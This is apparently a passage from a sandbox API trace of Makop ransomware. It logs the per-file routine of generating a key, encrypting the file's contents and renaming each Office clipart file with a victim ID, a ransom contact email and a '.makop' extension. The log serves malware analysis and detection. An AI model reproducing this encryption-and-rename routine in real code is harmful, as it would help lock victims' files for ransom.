lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.796] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.796] SetEndOfFile (hFile=0xf0) returned 1 [0146.804] GetProcessHeap () returned 0x48a0000 [0146.804] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.804] GetProcessHeap () returned 0x48a0000 [0146.804] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.804] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.806] CloseHandle (hObject=0xf0) returned 1 [0146.806] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0146.807] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 63 [0146.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.808] GetProcessHeap () returned 0x48a0000 [0146.808] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.808] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.808] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0146.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.813] GetProcessHeap () returned 0x48a0000 [0146.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.814] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.814] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.815] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6d86, lpOverlapped=0x0) returned 1 [0146.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6d90, dwBufLen=0x6d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6d90) returned 1 [0146.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6d90, lpOverlapped=0x0) returned 1 [0146.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.818] SetEndOfFile (hFile=0xf0) returned 1 [0146.825] GetProcessHeap () returned 0x48a0000 [0146.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.826] GetProcessHeap () returned 0x48a0000 [0146.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.826] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.829] CloseHandle (hObject=0xf0) returned 1 [0146.829] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0146.829] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF") returned 63 [0146.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.831] GetProcessHeap () returned 0x48a0000 [0146.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.831] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0146.838] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.838] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.838] GetProcessHeap () returned 0x48a0000 [0146.838] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.838] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.838] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.840] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5e7b, lpOverlapped=0x0) returned 1 [0146.844] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e80, dwBufLen=0x5e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e80) returned 1 [0146.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5e80, lpOverlapped=0x0) returned 1 [0146.844] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.845] SetEndOfFile (hFile=0xf0) returned 1 [0146.852] GetProcessHeap () returned 0x48a0000 [0146.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.852] GetProcessHeap () returned 0x48a0000 [0146.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.854] CloseHandle (hObject=0xf0) returned 1 [0146.854] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0146.854] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 63 [0146.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.857] GetProcessHeap () returned 0x48a0000 [0146.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.858] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0146.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.868] GetProcessHeap () returned 0x48a0000 [0146.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.868] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.870] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7d84, lpOverlapped=0x0) returned 1 [0146.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d90, dwBufLen=0x7d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d90) returned 1 [0146.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7d90, lpOverlapped=0x0) returned 1 [0146.878] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.878] SetEndOfFile (hFile=0xf0) returned 1 [0146.885] GetProcessHeap () returned 0x48a0000 [0146.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.885] GetProcessHeap () returned 0x48a0000 [0146.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.885] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.887] CloseHandle (hObject=0xf0) returned 1 [0146.887] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0146.888] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 63 [0146.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.889] GetProcessHeap () returned 0x48a0000 [0146.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.889] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.889] GetProcessHeap () returned 0x48a0000 [0146.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.903] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.903] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.903] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6090, lpOverlapped=0x0) returned 1 [0146.905] 